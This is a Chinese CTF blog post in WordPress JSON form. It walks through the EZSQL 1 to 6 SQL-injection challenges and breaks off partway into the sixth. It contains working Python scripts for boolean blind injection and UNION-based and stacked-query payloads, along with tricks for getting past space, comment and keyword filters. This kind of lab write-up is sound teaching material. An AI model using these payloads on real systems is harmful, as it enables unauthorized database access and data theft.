{"id":111,"date":"2026-05-08T08:36:13","date_gmt":"2026-05-08T00:36:13","guid":{"rendered":"https:\/\/www.mrkuku.site\/?p=111"},"modified":"2026-05-15T09:30:33","modified_gmt":"2026-05-15T01:30:33","slug":"web%e5%85%a5%e9%97%a8-ezsql1-13","status":"publish","type":"post","link":"https:\/\/www.mrkuku.site\/index.php\/2026\/05\/08\/web%e5%85%a5%e9%97%a8-ezsql1-13\/","title":{"rendered":"web\u5165\u95e8-EZSQL1-13"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\"><strong>EZSQL-1\u9898\u89e3<\/strong><\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.mrkuku.site\/wp-content\/uploads\/2026\/05\/2026-qingcen-ezsql1-1024x692.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"692\" data-original=\"https:\/\/www.mrkuku.site\/wp-content\/uploads\/2026\/05\/2026-qingcen-ezsql1-1024x692.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-124\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u662f\u9053\u767b\u5f55\u754c\u9762\uff0c\u6709\u7528\u6237\u540d\u548c\u5bc6\u7801\u8f93\u5165\u6b63\u786e\u624d\u80fd\u767b\u5f55\u6210\u529f\uff0c\u4f46\u53ef\u60f3\u800c\u77e5\uff0c\u9898\u76ee\u53ef\u6ca1\u6709\u90a3\u4e48\u7b80\u5355\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.mrkuku.site\/wp-content\/uploads\/2026\/05\/2026-qingcen-ezsql2-1024x736.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"736\" data-original=\"https:\/\/www.mrkuku.site\/wp-content\/uploads\/2026\/05\/2026-qingcen-ezsql2-1024x736.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-112\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u901a\u8fc7burp\u6293\u5305\u540e\uff0c\u5728password=1\u53c2\u6570\u540e\u9762\u52a0\u4e0apayload\u3002<strong>&#8216; or 1&#8211;+<\/strong> \u53d1\u9001\u8bf7\u6c42\u540e\uff0c\u54cd\u5e94\u56de\u9875\u9762\u7684\u662fWelcome admin\u3002\u4f46\u6ca1\u6709\u663e\u793a\u4efb\u4f55\u6570\u636e\uff0c\u731c\u60f3\u53ef\u80fd\u662f\u5e03\u5c14\u578b\u76f2\u6ce8\uff0c\u90a3\u4e48\u4ee5\u4e0b\u901a\u8fc7\u811a\u672c\u7206\u7834\u51faflag\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\n\nimport time\n\nurl = \"http:\/\/docker.qingcen.net:43393\/?username=admin&amp;password=1' or \"\n\nflag = ''\n\nheaders = {\n\n&nbsp; &nbsp; 'Accept': 'text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7',\n\n&nbsp; &nbsp; 'Accept-Language': 'zh-CN,zh;q=0.9',\n\n&nbsp; &nbsp; 'Connection': 'keep-alive',\n\n&nbsp; &nbsp; 'Upgrade-Insecure-Requests': '1',\n\n&nbsp; &nbsp; 'User-Agent': 'Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/135.0.0.0 Safari\/537.36 Edg\/135.0.0.0',\n\n&nbsp; &nbsp; 'referer': 'http:\/\/docker.qingcen.net:43393\/',\n\n}\n\nfor i in range(1, 100):\n\n&nbsp; &nbsp; time.sleep(0.06)\n\n&nbsp; &nbsp; low = 32\n\n&nbsp; &nbsp; high = 128\n\n&nbsp; &nbsp; mid = (low + high) \/\/ 2\n\n&nbsp; &nbsp; while low &lt; high:\n\n&nbsp; &nbsp; &nbsp; &nbsp; # \u7206\u6570\u636e\u5e93\u540d\n\n&nbsp; &nbsp; &nbsp; &nbsp; #payload = f\"ascii(mid(database(),{i},1))&gt;{mid}--+\"\n\n&nbsp; &nbsp; &nbsp; &nbsp; # \u7206\u8868\u540d\n\n&nbsp; &nbsp; &nbsp; &nbsp; # payload = f\"ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))&gt;{mid}--+\"\n\n&nbsp; &nbsp; &nbsp; &nbsp; # \u7206\u5b57\u6bb5\u540d\n\n&nbsp; &nbsp; &nbsp; &nbsp; # payload = f\"ascii(mid((select group_concat(column_name) from information_schema.columns where table_name='flag'),{i},1))&gt;{mid}--+\"\n\n&nbsp; &nbsp; &nbsp; &nbsp; # \u7206\u6570\u636e\n\n&nbsp; &nbsp; &nbsp; &nbsp; #payload = f'ascii(mid((select group_concat(secret) from flag),{i},1))&gt;{mid}--+'\n\n&nbsp; &nbsp; &nbsp; &nbsp; r = requests.post(url + payload, headers, verify=False)\n\n&nbsp; &nbsp; &nbsp; &nbsp; if 'Welcome admin' in r.text:\n\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; low = mid + 1\n\n&nbsp; &nbsp; &nbsp; &nbsp; else:\n\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; high = mid\n\n&nbsp; &nbsp; &nbsp; &nbsp; mid = (low + high) \/\/ 2\n\n&nbsp; &nbsp; if mid == 32 or mid == 127:\n\n&nbsp; &nbsp; &nbsp; &nbsp; break\n\n&nbsp; &nbsp; flag += chr(mid)\n\n&nbsp; &nbsp; print(\"\u5f53\u524d\u7ed3\u679c\uff1a\", flag)\n\nprint(\"\\n\u6700\u7ec8\u7ed3\u679c\uff1a\", flag)<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>EZSQL-2\u9898\u89e3<\/strong><\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.mrkuku.site\/wp-content\/uploads\/2026\/05\/2026-qingcen-ezsql1-1024x692.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"692\" data-original=\"https:\/\/www.mrkuku.site\/wp-content\/uploads\/2026\/05\/2026-qingcen-ezsql1-1024x692.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-124\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u754c\u9762\u548c\u7b2c\u4e00\u9053\u4e00\u6837\uff0c\u90a3\u4e48\u901a\u8fc7burp\u6293\u5305\u8bd5\u4e00\u4e0b\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.mrkuku.site\/wp-content\/uploads\/2026\/05\/2026-qingcen-ezsql3-1024x818.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"818\" data-original=\"https:\/\/www.mrkuku.site\/wp-content\/uploads\/2026\/05\/2026-qingcen-ezsql3-1024x818.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-113\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u901a\u8fc7\u6293\u5305\u8fdb\u884c\u4fee\u6539\u53c2\u6570\uff0c\u6211\u53d1\u73b0\u672c\u9898\u8fc7\u6ee4\u4e86\u7a7a\u683c\u4ee5\u53ca&#8211;+\u6ce8\u91ca\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.mrkuku.site\/wp-content\/uploads\/2026\/05\/2026-qingcen-ezsql4-1024x818.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"818\" data-original=\"https:\/\/www.mrkuku.site\/wp-content\/uploads\/2026\/05\/2026-qingcen-ezsql4-1024x818.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-114\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.mrkuku.site\/wp-content\/uploads\/2026\/05\/2026-qingcen-ezsql5-1024x818.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"818\" data-original=\"https:\/\/www.mrkuku.site\/wp-content\/uploads\/2026\/05\/2026-qingcen-ezsql5-1024x818.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-115\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u7a7a\u683c\u548c&#8211;+\u4e0d\u80fd\u7528\u4e86\uff0c\u53ef\u4ee5\u901a\u8fc7\/**\/\u7ed5\u8fc7\u7a7a\u683c\uff0c\u4ee5\u53ca%23\u7ed5\u8fc7sql\u6ce8\u91ca\uff1b\u4ee5\u4e0b\u811a\u672c\u7206\u7834flag\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># \u7a7a\u683c\u66ff\u6362\/**\/\n\n# \u6ce8\u91ca %23\n\nimport requests\n\nimport time\n\nurl = \"http:\/\/docker.qingcen.net:43412\/?username=admin&amp;password=1'\/**\/or\/**\/\"\n\nflag = ''\n\nheaders = {\n\n&nbsp; &nbsp; 'Accept': 'text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7',\n\n&nbsp; &nbsp; 'Accept-Language': 'zh-CN,zh;q=0.9',\n\n&nbsp; &nbsp; 'Connection': 'keep-alive',\n\n&nbsp; &nbsp; 'Upgrade-Insecure-Requests': '1',\n\n&nbsp; &nbsp; 'User-Agent': 'Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/135.0.0.0 Safari\/537.36 Edg\/135.0.0.0',\n\n&nbsp; &nbsp; 'referer': 'http:\/\/docker.qingcen.net:43393\/',\n\n}\n\nfor i in range(1, 100):\n\n&nbsp; &nbsp; time.sleep(0.06)\n\n&nbsp; &nbsp; low = 32\n\n&nbsp; &nbsp; high = 128\n\n&nbsp; &nbsp; mid = (low + high) \/\/ 2\n\n&nbsp; &nbsp; while low &lt; high:\n\n&nbsp; &nbsp; &nbsp; &nbsp; # \u7206\u6570\u636e\u5e93\u540d\n\n&nbsp; &nbsp; &nbsp; &nbsp; # payload = f\"ascii(mid(database(),{i},1))&gt;{mid}%23\"\n\n&nbsp; &nbsp; &nbsp; &nbsp; # \u7206\u8868\u540d\n\n&nbsp; &nbsp; &nbsp; &nbsp; # payload = f\"ascii(mid((select\/**\/group_concat(table_name)\/**\/from\/**\/information_schema.tables\/**\/where\/**\/table_schema=database()),{i},1))&gt;{mid}%23\"\n\n&nbsp; &nbsp; &nbsp; &nbsp; # \u7206\u5b57\u6bb5\u540d\n\n&nbsp; &nbsp; &nbsp; &nbsp; # payload = f\"ascii(mid((select\/**\/group_concat(column_name)\/**\/from\/**\/information_schema.columns\/**\/where\/**\/table_name=0x666c6167),{i},1))&gt;{mid}%23\"\n\n&nbsp; &nbsp; &nbsp; &nbsp; # \u7206\u6570\u636e\n\n&nbsp; &nbsp; &nbsp; &nbsp; #payload = f'ascii(mid((select\/**\/group_concat(secret)\/**\/from\/**\/flag),{i},1))&gt;{mid}%23'\n\n&nbsp; &nbsp; &nbsp; &nbsp; r = requests.post(url + payload, headers, verify=False)\n\n&nbsp; &nbsp; &nbsp; &nbsp; if 'Welcome admin' in r.text:\n\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; low = mid + 1\n\n&nbsp; &nbsp; &nbsp; &nbsp; else:\n\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; high = mid\n\n&nbsp; &nbsp; &nbsp; &nbsp; mid = (low + high) \/\/ 2\n\n&nbsp; &nbsp; if mid == 32 or mid == 127:\n\n&nbsp; &nbsp; &nbsp; &nbsp; break\n\n&nbsp; &nbsp; flag += chr(mid)\n\n&nbsp; &nbsp; print(\"\u5f53\u524d\u7ed3\u679c\uff1a\", flag)\n\nprint(\"\\n\u6700\u7ec8\u7ed3\u679c\uff1a\", flag)<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>EZSQL-3\u9898\u89e3<\/strong><\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.mrkuku.site\/wp-content\/uploads\/2026\/05\/2026-qingcen-ezsql1-1024x692.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"692\" data-original=\"https:\/\/www.mrkuku.site\/wp-content\/uploads\/2026\/05\/2026-qingcen-ezsql1-1024x692.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-124\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u76f4\u63a5\u7206\u9898\uff0c\u88ab\u8fc7\u6ee4\u4e86or\u3001union\u3001select\uff0c\u53cc\u5199\u5927\u5c0f\u5199\u5747\u53ef\uff1aoorr\u3001oORr\uff1b\u5176\u4ed6\u4e0eEZSQL-2\u540c\u6837\u8fc7\u6ee4\u4e86\u7a7a\u683c\u548c&#8211;+\uff0c\u901a\u8fc7\u4ee5\u4e0b\u811a\u672c\u7206\u7834flag\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\n\nimport time\n\nurl = \"http:\/\/docker.qingcen.net:43603\/?username=admin&amp;password=1'\/**\/oORr\/**\/\"\n\nflag = ''\n\nheaders = {\n\n&nbsp; &nbsp; 'Accept': 'text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7',\n\n&nbsp; &nbsp; 'Accept-Language': 'zh-CN,zh;q=0.9',\n\n&nbsp; &nbsp; 'Connection': 'keep-alive',\n\n&nbsp; &nbsp; 'Upgrade-Insecure-Requests': '1',\n\n&nbsp; &nbsp; 'User-Agent': 'Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/135.0.0.0 Safari\/537.36 Edg\/135.0.0.0',\n\n&nbsp; &nbsp; 'referer': 'http:\/\/docker.qingcen.net:43393\/',\n\n}\n\nfor i in range(1, 100):\n\n&nbsp; &nbsp; time.sleep(0.06)\n\n&nbsp; &nbsp; low = 32\n\n&nbsp; &nbsp; high = 128\n\n&nbsp; &nbsp; mid = (low + high) \/\/ 2\n\n&nbsp; &nbsp; while low &lt; high:\n\n&nbsp; &nbsp; &nbsp; &nbsp; # \u7206\u6570\u636e\u5e93\u540d\n\n&nbsp; &nbsp; &nbsp; &nbsp; # payload = f\"ascii(mid(database(),{i},1))&gt;{mid}%23\"\n\n&nbsp; &nbsp; &nbsp; &nbsp; # \u7206\u8868\u540d\n\n&nbsp; &nbsp; &nbsp; &nbsp; # payload = f\"ascii(mid((selSELECTect\/**\/group_concat(table_name)\/**\/from\/**\/information_schema.tables\/**\/where\/**\/table_schema=database()),{i},1))&gt;{mid}%23\"\n\n&nbsp; &nbsp; &nbsp; &nbsp; # \u7206\u5b57\u6bb5\u540d\n\n&nbsp; &nbsp; &nbsp; &nbsp; # payload = f\"ascii(mid((selSELECTect\/**\/group_concat(column_name)\/**\/from\/**\/information_schema.columns\/**\/where\/**\/table_name=0x666c6167),{i},1))&gt;{mid}%23\"\n\n&nbsp; &nbsp; &nbsp; &nbsp; # \u7206\u6570\u636e\n\n&nbsp; &nbsp; &nbsp; &nbsp; # payload = f\"ascii(mid((selSELECTect\/**\/group_concat(secret)\/**\/from\/**\/flag),{i},1))&gt;{mid}%23\"\n\n&nbsp; &nbsp; &nbsp; &nbsp; r = requests.post(url + payload, headers, verify=False)\n\n&nbsp; &nbsp; &nbsp; &nbsp; if 'Welcome admin' in r.text:\n\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; low = mid + 1\n\n&nbsp; &nbsp; &nbsp; &nbsp; else:\n\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; high = mid\n\n&nbsp; &nbsp; &nbsp; &nbsp; mid = (low + high) \/\/ 2\n\n&nbsp; &nbsp; if mid == 32 or mid == 127:\n\n&nbsp; &nbsp; &nbsp; &nbsp; break\n\n&nbsp; &nbsp; flag += chr(mid)\n\n&nbsp; &nbsp; print(\"\u5f53\u524d\u7ed3\u679c\uff1a\", flag)\n\nprint(\"\\n\u6700\u7ec8\u7ed3\u679c\uff1a\", flag)<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>EZSQL-4\u9898\u89e3<\/strong><\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.mrkuku.site\/wp-content\/uploads\/2026\/05\/2026-qingcen-ezsql6-1024x573.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"573\" data-original=\"https:\/\/www.mrkuku.site\/wp-content\/uploads\/2026\/05\/2026-qingcen-ezsql6-1024x573.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-116\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u9875\u9762\u662f\u4e00\u4e2a\u5458\u5de5\u67e5\u8be2\u754c\u9762\uff0c\u8f93\u5165\u5458\u5de5\u7f16\u53f7\u53ef\u4ee5\u67e5\u8be2\u5230\u4fe1\u606f\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.mrkuku.site\/wp-content\/uploads\/2026\/05\/2026-qingcen-ezsql7-1024x712.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"712\" data-original=\"https:\/\/www.mrkuku.site\/wp-content\/uploads\/2026\/05\/2026-qingcen-ezsql7-1024x712.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-117\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u67e5\u8be2id\u4e3a1\uff0c\u8f93\u51fa\u5305\u542bid\u3001name\u3001department\u3001salary\u4fe1\u606f\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ \u6d4b\u8bd5\u662f\u5426\u6709sql\u6ce8\u5165\nid=1' or 1=1%23\n\n\/\/ \u7206\u5f53\u524d\u6570\u636e\u5e93\nid=1' union select 1,database(),3,4%23\n\n\/\/ \u7206\u8868\nid=1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4%23\n\n\/\/ \u7206\u5b57\u6bb5\nid=1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'),3,4%23\n\n\/\/ \u7206flag\nid=1' union select 1,(select flag from flag),3,4%23<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>EZSQL-5\u9898\u89e3<\/strong><\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.mrkuku.site\/wp-content\/uploads\/2026\/05\/2026-qingcen-ezsql6-1024x573.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"573\" data-original=\"https:\/\/www.mrkuku.site\/wp-content\/uploads\/2026\/05\/2026-qingcen-ezsql6-1024x573.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-116\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u7f51\u7ad9\u8fd8\u662f\u4e00\u4e2a\u5458\u5de5\u67e5\u8be2\u754c\u9762\uff0c\u901a\u8fc7\u5458\u5de5id\u67e5\u8be2\u4fe1\u606f\uff0c\u548c\u4e0a\u9898\u4e00\u81f4\u5148payload\u4e00\u4e0b\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ \u4e0a\u9898payload\nid=1' union select 1,2,3,4%23<\/code><\/pre>\n\n\n\n<p>\u51fa\u73b0Illegal SQL injection\u63d0\u793a\uff0c\u88ab\u8fc7\u6ee4\u4e86select\uff0c\u8fd9\u91cc\u53ef\u77e5\u4e0a\u9898\u7684\u4e24\u5f20\u8868\u540d\uff0c\u901a\u8fc7\u4fee\u6539\u8868\u540d\u663e\u793a\u5185\u5bb9\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ \u5df2\u77e5\u4e0a\u9898 \u8868\u540d\u4e3a flag\n'; PREPARE stmt FROM CONCAT('SEL', 'ECT * FROM flag'); EXECUTE stmt; --+<\/code><\/pre>\n\n\n\n<p><strong>\u5229\u7528prepare \u5c06\u5b57\u7b26\u4e32\u5f53\u505asql\u8bed\u53e5\u6267\u884c\uff0c\u62fc\u63a5\u5b57\u7b26\u4e32\uff0c\u901a\u8fc7execute \u6267\u884c\u7f16\u8bd1\u597d\u7684\u3002<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>EZSQL-6\u9898\u89e3<\/strong><\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.mrkuku.site\/wp-content\/uploads\/2026\/05\/2026-qingcen-ezsql1-1024x692.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"692\" data-original=\"https:\/\/www.mrkuku.site\/wp-content\/uploads\/2026\/05\/2026-qingcen-ezsql1-1024x692.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-124\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" 